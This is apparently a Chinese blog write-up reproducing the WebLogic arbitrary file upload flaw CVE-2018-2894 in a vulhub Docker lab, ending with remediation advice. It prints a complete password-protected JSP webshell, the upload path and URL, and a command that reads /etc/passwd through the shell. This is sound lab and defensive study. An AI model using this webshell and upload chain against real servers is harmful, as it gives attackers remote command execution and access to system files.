Weblogic任意文件上传漏洞(CVE-2018-2894)复现

Source

0x01 漏洞介绍

  1. 漏洞描述
    Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。

  2. 漏洞编号
    CVE-2018-2894

  3. 受影响版本
    12.1.3.0, 12.2.1.2, 12.2.1.3

0x02 环境部署:

搭建一次,复现百次
靶机 ip:192.168.30.209
kali ip:192.168.30.182

0x03 漏洞复现

1.开启运行靶机

#进入需要开启的环境
┌──(root💀kali)-[~/vulhub/weblogic]
└─# cd CVE-2018-2894
#对靶场进行编译
┌──(root💀kali)-[~/vulhub/weblogic/CVE-2018-2894]
└─# docker-compose build              
#运行此靶场
┌──(root💀kali)-[~/vulhub/weblogic/CVE-2018-2894]
└─# docker-compose up -d      
#查看当前运行的靶场
┌──(root💀kali)-[~/vulhub/weblogic/CVE-2018-2894]
└─# docker ps                                                                

在这里插入图片描述

2. 开启Web Service Test Page

由于含有文件上传漏洞的网页在生产模式下默认关闭,所以我们需要提前手动开启
2.1 查看管理员

docker-compose logs | grep password
#用户名:weblogic  密码:odJij4nC

在这里插入图片描述

2.2 访问rul登录后台

http://192.168.30.209:7001/console/login/LoginForm.jsp

在这里插入图片描述
2.3 启用web服务测试页并保存

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3. 访问url, 设置Work Home Dir

http://192.168.30.209:7001/ws_utc/config.do
#将Work Home Dir设置如下,因为访问这个目录无需权限
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

在这里插入图片描述

4. 上传木马

#jspexec.jsp jsp有回显带密码验证的,这里脚本的密码为666
#访问时url格式如下
#http://127.0.0.1/jspexec.jsp?pwd=666&i=ls
<%
if("666".equals(request.getParameter("pwd"))){
    
      
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
    
      
out.println(new String(b));
}
out.print("</pre>");
}
%>

在这里插入图片描述
由于服务器对上传的文件名具有重写操作,将文件名重写为:[时间戳]_[文件名],所以我们需要在上传文件的回包中查看时间戳
在这里插入图片描述
所以我们上传后的木马文件名已经被重命名为 1631517951174_jspexec.jsp

5. 访问上传的木马文件,执行命令

http://192.168.30.209:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://192.168.30.209:7001/ws_utc/css/config/keystore/1631517951174_jspexec.jsp?pwd=666&i=cat /etc/passwd

在这里插入图片描述
漏洞复现成功

0x04 漏洞修复

  1. 开启生产模式
  2. 设置config.do,begin.do页面登录授权后访问
  3. IPS等防御产品可以加入相应的特征
  4. 升级到官方的最新版本